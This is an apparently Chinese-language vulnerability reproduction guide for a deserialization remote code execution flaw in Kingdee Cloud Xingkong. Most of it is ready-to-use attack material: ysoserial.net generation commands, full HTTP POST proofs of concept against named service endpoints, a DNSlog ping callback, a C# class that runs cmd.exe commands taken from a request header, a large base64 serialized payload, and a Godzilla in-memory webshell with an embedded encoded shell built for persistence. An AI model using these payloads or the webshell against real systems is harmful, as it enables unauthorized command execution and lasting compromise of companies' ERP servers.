金蝶云星空反序列化远程代码执行漏洞复现
漏洞原理
由于金蝶云星空管理中心在处理序列化数据时，未对数据进行签名或校验，攻击手可以写入包含恶意代码的序列化数据，系统在进行反序列化时造成远程命令执行，该“管理中心“是提供给管理员使用的管理端，默认开放于8000端口。
影响范围
金蝶云星空<6.2.1012.4
7.0.352.16 < 金蝶云星空 <7.7.0.202111
8.0.0.202205 <金蝶云星空< 8.1.0.20221110
漏洞复现
这里需要用到ysoserial.net生成链。
ysoserial.exe -f BinaryFormatter -g ResourceSet -o base64 -c "ping caaxxx.dnslog.cn"POC无回显版本
POST /K3Cloud/Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1
Host: example.com
Content-Type: text/json
{
"ap0":"AAEAAAD////",
"format":"3"
}其中ap0中替换为ysoserial.exe中生成的内容，通常情况下为200响应。
POC有回显版本
这样一来是没有回显的，打起来也非常难受，那么有没有什么办法能够回显呢？
这时候就可以通过ActivitySurrogateSelectorFromFile来构造新链了。
ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;System.Windows.Forms.dll;System.dll;System.Web.dll"其中ExploitClass.cs的我们就实现一个从header中读取参数然后执行的代码。
class E
{
public E()
{
System.Web.HttpContext context = System.Web.HttpContext.Current;
context.Server.ClearError();
context.Response.Clear();
try
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.FileName = "cmd.exe";
string cmd = context.Request.Headers["cmd"];
process.StartInfo.Arguments = "/c " + cmd;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.UseShellExecute = false;
process.Start();
string output = process.StandardOutput.ReadToEnd();
context.Response.Write(output);
} catch (System.Exception) {}
context.Response.Flush();
context.Response.End();
}
}
再使用生成ysoserial的ActivitySurrogateSelectorFromFile方法生成链。
ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;System.Windows.Forms.dll;System.dll;System.Web.dll"生成结果如下：
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BeEhvc3QrU3RhdGUBAAAAEVByb3BlcnR5QmFnQmluYXJ5BwICAAAACQMAAAAPAwAAAMctAAACAAEAAAD/////AQAAAAAAAAAEAQAAAH9TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAZfaXRlbXMFX3NpemUIX3ZlcnNpb24FAAAICAkCAAAACgAAAAoAAAAQAgAAABAAAAAJAwAAAAkEAAAACQUAAAAJBgAAAAkHAAAACQgAAAAJCQAAAAkKAAAACQsAAAAJDAAAAA0GBwMAAAABAQAAAAEAAAAHAgkNAAAADA4AAABhU3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUEAAAAalN5c3RlbS5Xb3JrZmxvdy5Db21wb25lbnRNb2RlbC5TZXJpYWxpemF0aW9uLkFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3IrT2JqZWN0U3Vycm9nYXRlK09iamVjdFNlcmlhbGl6ZWRSZWYCAAAABHR5cGULbWVtYmVyRGF0YXMDBR9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyDgAAAAkPAAAACRAAAAABBQAAAAQAAAAJEQAAAAkSAAAAAQYAAAAEAAAACRMAAAAJFAAAAAEHAAAABAAAAAkVAAAACRYAAAABCAAAAAQAAAAJFwAAAAkYAAAAAQkAAAAEAAAACRkAAAAJGgAAAAEKAAAABAAAAAkbAAAACRwAAAABCwAAAAQAAAAJHQAAAAkeAAAABAwAAAAcU3lzdGVtLkNv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可以看到轻松回显。
完整的POC如下：
POST /K3Cloud/Kingdee.BOS.ServiceFacade.ServicesStub.User.UserService.SaveUserPassport.common.kdsvc?dcInfo=11 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 11.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5520.225 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ASP.NET_SessionId=41t5f11hkfhru5h5bc5wox3p; Theme=standard; kdservice-sessionid=13390743-9d17-4d4f-a6a9-a58582831195
Upgrade-Insecure-Requests: 1
cmd: tasklist
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="111", "Chromium";v="111", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
Content-Type: text/json
Content-Length: 15916
{
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"format":"3"
}内存马版本(2024.07.09更新)
金蝶云星空哥斯拉内存马,请求路径是 /indexx.aspx
ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelectorFromFile -c "VirtualPath_Godzilla.cs;System.Web.dll;System.dll"class G
{
public G()
{
// Author: Soroush Dalili (@irsdl)
// base64-encoded version of a webshell.aspx file
string webshellContentsBase64 = "PCVAIFBhZ2UgTGFuZ3VhZ2U9IkMjIiU+PCV0cnkgeyBzdHJpbmcga2V5ID0gIjNjNmUwYjhhOWMxNTIyNGEiOyBzdHJpbmcgcGFzcyA9ICJwYXNzIjsgc3RyaW5nIG1kNSA9IFN5c3RlbS5CaXRDb252ZXJ0ZXIuVG9TdHJpbmcobmV3IFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuTUQ1Q3J5cHRvU2VydmljZVByb3ZpZGVyKCkuQ29tcHV0ZUhhc2goU3lzdGVtLlRleHQuRW5jb2RpbmcuRGVmYXVsdC5HZXRCeXRlcyhwYXNzICsga2V5KSkpLlJlcGxhY2UoIi0iLCAiIik7IGJ5dGVbXSBkYXRhID0gU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhDb250ZXh0LlJlcXVlc3RbcGFzc10pOyBkYXRhID0gbmV3IFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUmlqbmRhZWxNYW5hZ2VkKCkuQ3JlYXRlRGVjcnlwdG9yKFN5c3RlbS5UZXh0LkVuY29kaW5nLkRlZmF1bHQuR2V0Qnl0ZXMoa2V5KSwgU3lzdGVtLlRleHQuRW5jb2RpbmcuRGVmYXVsdC5HZXRCeXRlcyhrZXkpKS5UcmFuc2Zvcm1GaW5hbEJsb2NrKGRhdGEsIDAsIGRhdGEuTGVuZ3RoKTsgaWYgKENvbnRleHQuU2Vzc2lvblsicGF5bG9hZCJdID09IG51bGwpIHsgQ29udGV4dC5TZXNzaW9uWyJwYXlsb2FkIl0gPSAoU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkpdHlwZW9mKFN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5KS5HZXRNZXRob2QoIkxvYWQiLCBuZXcgU3lzdGVtLlR5cGVbXSB7IHR5cGVvZihieXRlW10pIH0pLkludm9rZShudWxsLCBuZXcgb2JqZWN0W10geyBkYXRhIH0pOyA7IH0gZWxzZSB7IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0gb3V0U3RyZWFtID0gbmV3IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oKTsgb2JqZWN0IG8gPSAoKFN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5KUNvbnRleHQuU2Vzc2lvblsicGF5bG9hZCJdKS5DcmVhdGVJbnN0YW5jZSgiTFkiKTsgby5FcXVhbHMoQ29udGV4dCk7IG8uRXF1YWxzKG91dFN0cmVhbSk7IG8uRXF1YWxzKGRhdGEpOyBvLlRvU3RyaW5nKCk7IGJ5dGVbXSByID0gb3V0U3RyZWFtLlRvQXJyYXkoKTsgQ29udGV4dC5SZXNwb25zZS5Xcml0ZShtZDUuU3Vic3RyaW5nKDAsIDE2KSk7IENvbnRleHQuUmVzcG9uc2UuV3JpdGUoU3lzdGVtLkNvbnZlcnQuVG9CYXNlNjRTdHJpbmcobmV3IFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUmlqbmRhZWxNYW5hZ2VkKCkuQ3JlYXRlRW5jcnlwdG9yKFN5c3RlbS5UZXh0LkVuY29kaW5nLkRlZmF1bHQuR2V0Qnl0ZXMoa2V5KSwgU3lzdGVtLlRleHQuRW5jb2RpbmcuRGVmYXVsdC5HZXRCeXRlcyhrZXkpKS5UcmFuc2Zvcm1GaW5hbEJsb2NrKHIsIDAsIHIuTGVuZ3RoKSkpOyBDb250ZXh0LlJlc3BvbnNlLldyaXRlKG1kNS5TdWJzdHJpbmcoMTYpKTsgfSB9IGNhdGNoIChTeXN0ZW0uRXhjZXB0aW9uKSB7IH0KJT4=";
string webshellType = ".aspx";
string webshellContent = System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(webshellContentsBase64));
string rootPath = System.Web.HttpContext.Current.Request.CurrentExecutionFilePath.TrimEnd('/').ToLower();
// removing the application name when making the virtual directory
int index = rootPath.IndexOf(System.Web.HttpContext.Current.Request.ApplicationPath.ToLower());
if (index >= 0)
rootPath = rootPath.Remove(index, System.Web.HttpContext.Current.Request.ApplicationPath.Length);
// fiddle with targetVirtualPath if needed and you know what path can be used to create the virtual path
string prefix = "";
if (rootPath.LastIndexOf("/") > 0)
prefix = rootPath.Substring(0, rootPath.LastIndexOf("/"));
// 请求路径，也就是/indexx.aspx
string targetVirtualPath = prefix + "/indexx/";
targetVirtualPath = targetVirtualPath.Replace("//", "/");
//System.Web.HttpContext.Current.Response.AddHeader("INFO", System.Web.Compilation.BuildManager.IsPrecompiledApp.ToString()); // info leak
//System.Web.HttpContext.Current.Response.AddHeader("via", "yso"); // beacon
try
{
//SamplePathProvider sampleProvider = new SamplePathProvider("fakepath1337", @"This is the attacker's file - running on the server if this `<%=1338-1%>` is 1337.");
SamplePathProvider sampleProvider = new SamplePathProvider(targetVirtualPath, webshellContent);
// Uncomment this if FriendlyUrlSettings is used! Remember to include Microsoft.AspNet.FriendlyUrls.dll
/*
foreach (var route in System.Web.Routing.RouteTable.Routes)
{
if (route.GetType().FullName == "Microsoft.AspNet.FriendlyUrls.FriendlyUrlRoute")
{
var FriendlySetting = route.GetType().GetProperty("Settings", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.Public);
var settings = new Microsoft.AspNet.FriendlyUrls.FriendlyUrlSettings();
settings.AutoRedirectMode = Microsoft.AspNet.FriendlyUrls.RedirectMode.Off;
FriendlySetting.SetValue(route, settings);
}
}
//*/
sampleProvider.InitializeLifetimeService(); // we want our web shell to remain there forever (NO. 1)
System.Reflection.FieldInfo field_isPrecompiledAppComputed = null;
System.Reflection.FieldInfo field_isPrecompiledApp = null;
object field_theBuildManager_instance = null;
object field_isPrecompiledAppComputed_oldValue = null;
object field_isPrecompiledApp_oldValue = null;
if (System.Web.Compilation.BuildManager.IsPrecompiledApp)
{
// To disable isPrecompiledApp settings
var typeBuildManager = typeof(System.Web.Compilation.BuildManager);
System.Reflection.FieldInfo field_theBuildManager = typeBuildManager.GetField("_theBuildManager", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
field_isPrecompiledAppComputed = typeBuildManager.GetField("_isPrecompiledAppComputed", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic);
field_isPrecompiledApp = typeBuildManager.GetField("_isPrecompiledApp", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic);
field_theBuildManager_instance = field_theBuildManager.GetValue(null);
field_isPrecompiledAppComputed_oldValue = field_isPrecompiledAppComputed.GetValue(field_theBuildManager_instance);
field_isPrecompiledApp_oldValue = field_isPrecompiledApp.GetValue(field_theBuildManager_instance);
field_isPrecompiledAppComputed.SetValue(field_theBuildManager_instance, true);
field_isPrecompiledApp.SetValue(field_theBuildManager_instance, false);
}
// IsPrecompiledApp is false!
System.Web.Hosting.HostingEnvironment.RegisterVirtualPathProvider(sampleProvider);
if (field_isPrecompiledAppComputed != null)
{
// To reverse isPrecompiledApp settings
field_isPrecompiledAppComputed.SetValue(field_theBuildManager_instance, field_isPrecompiledAppComputed_oldValue);
field_isPrecompiledApp.SetValue(field_theBuildManager_instance, field_isPrecompiledApp_oldValue);
}
System.Web.HttpContext.Current.Response.Clear();
System.Web.HttpContext.Current.Response.BufferOutput = true;
//*
System.Web.HttpContext.Current.Server.Execute(targetVirtualPath + "ghostfile" + (new System.Random()).Next(1000) + webshellType); // if you need to compile a file immediately
System.Web.HttpContext.Current.Response.End();
//*/
//OR
/*
string redirectionTarget = (System.Web.HttpContext.Current.Request.ApplicationPath + targetVirtualPath + "ghostfile" + (new System.Random()).Next(1000) + webshellType).Replace("//", "/");
System.Web.HttpContext.Current.Response.Redirect(redirectionTarget);
//*/
}
catch (System.Exception error)
{
System.Web.HttpContext.Current.Response.AddHeader("Errors", System.Web.HttpUtility.UrlEncode(error.ToString()));
}
}
public class myHandler : System.Web.IHttpHandler, System.Web.Routing.IRouteHandler
{
public bool IsReusable
{
get { return true; }
}
public void ProcessRequest(System.Web.HttpContext context)
{
// your processing here
}
public System.Web.IHttpHandler GetHttpHandler(System.Web.Routing.RequestContext requestContext)
{
return this;
}
}
// Reference: https://docs.microsoft.com/en-us/dotnet/api/system.web.hosting.virtualpathprovider?view=netframework-4.8
public class SamplePathProvider : System.Web.Hosting.VirtualPathProvider
{
private string _virtualDir;
private string _fileContent;
public SamplePathProvider(string virtualDir, string fileContent)
: base()
{
_virtualDir = "/" + virtualDir.Replace(@"\", "/");
_virtualDir = _virtualDir.Replace("//", "/").TrimEnd('/');
_fileContent = fileContent;
}
protected override void Initialize()
{ }
private bool IsPathVirtual(string virtualPath)
{
//return true; // uncomment this if you need to take over all non-compiled files! this can be very disruptive and can cause DoS
System.String checkPath = System.Web.VirtualPathUtility.ToAppRelative(virtualPath);
return checkPath.ToLower().Contains(_virtualDir.ToLower()); // checkPath.ToLower().Contains(_virtualDir.ToLower()) && checkPath.ToLower().EndsWith(".aspx");
}
public override bool FileExists(string virtualPath)
{
if (IsPathVirtual(virtualPath))
{
return true;
}
else
{
return Previous.FileExists(virtualPath);
}
}
public override bool DirectoryExists(string virtualDir)
{
if (IsPathVirtual(virtualDir))
{
return true;
}
else
{
return Previous.DirectoryExists(virtualDir);
}
}
public override System.Web.Hosting.VirtualFile GetFile(string virtualPath)
{
if (IsPathVirtual(virtualPath))
return new SampleVirtualFile(virtualPath, _fileContent);
else
return Previous.GetFile(virtualPath);
}
public override System.Web.Hosting.VirtualDirectory GetDirectory(string virtualDir)
{
if (IsPathVirtual(virtualDir))
return new SampleVirtualDirectory(virtualDir);
else
return Previous.GetDirectory(virtualDir);
}
public override System.Web.Caching.CacheDependency GetCacheDependency(
string virtualPath,
System.Collections.IEnumerable virtualPathDependencies,
System.DateTime utcStart)
{
if (IsPathVirtual(virtualPath))
{
/*
System.Collections.Specialized.StringCollection fullPathDependencies = null;
// Get the full path to all dependencies.
foreach (string virtualDependency in virtualPathDependencies)
{
if (fullPathDependencies == null)
fullPathDependencies = new System.Collections.Specialized.StringCollection();
fullPathDependencies.Add(virtualDependency);
}
if (fullPathDependencies == null)
return null;
// Copy the list of full-path dependencies into an array.
string[] fullPathDependenciesArray = new string[fullPathDependencies.Count];
fullPathDependencies.CopyTo(fullPathDependenciesArray, 0);
// Copy the virtual path into an array.
string[] virtualPathArray = new string[1];
virtualPathArray[0] = @"c:\";
return new System.Web.Caching.CacheDependency(virtualPathArray, fullPathDependenciesArray, utcStart);
*/
// we want our web shell to remain longer than usual! (NO. 2) - uncomment above if you want a shorter expiry
return new System.Web.Caching.CacheDependency(@"c:\");
}
else
{
return Previous.GetCacheDependency(virtualPath, virtualPathDependencies, utcStart);
}
}
}
public class SampleVirtualFile : System.Web.Hosting.VirtualFile
{
private string _fileContent;
public bool Exists
{
get { return true; }
}
public SampleVirtualFile(string virtualPath, string fileContent)
: base(virtualPath)
{
this._fileContent = fileContent;
}
public override System.IO.Stream Open()
{
System.IO.Stream stream = new System.IO.MemoryStream(System.Text.Encoding.UTF8.GetBytes(_fileContent));
return stream;
}
}
public class SampleVirtualDirectory : System.Web.Hosting.VirtualDirectory
{
public SampleVirtualDirectory(string virtualDir)
: base(virtualDir)
{
string path = virtualDir;
// System.Web.Hosting.HostingEnvironment.ApplicationVirtualPath or System.Web.HttpContext.Current.Request.ApplicationPath ? */
if (System.Web.HttpContext.Current.Request.ApplicationPath != "/")
{
int index = virtualDir.IndexOf(System.Web.HttpContext.Current.Request.ApplicationPath.ToLower());
if (index >= 0)
path = virtualDir.Remove(index, System.Web.HttpContext.Current.Request.ApplicationPath.Length);
}
path = path.TrimEnd('/');
if (!string.IsNullOrEmpty(path))
{
//SampleVirtualDirectory svd = new SampleVirtualDirectory(path);
children.Add(this);
directories.Add(this);
SampleVirtualFile svf = new SampleVirtualFile(path + "/ghostfile.aspx", "");
children.Add(svf);
files.Add(svf);
}
}
private System.Collections.ArrayList children = new System.Collections.ArrayList();
public override System.Collections.IEnumerable Children
{
get { return children; }
}
private System.Collections.ArrayList directories = new System.Collections.ArrayList();
public override System.Collections.IEnumerable Directories
{
get { return directories; }
}
private System.Collections.ArrayList files = new System.Collections.ArrayList();
public override System.Collections.IEnumerable Files
{
get { return files; }
}
}
}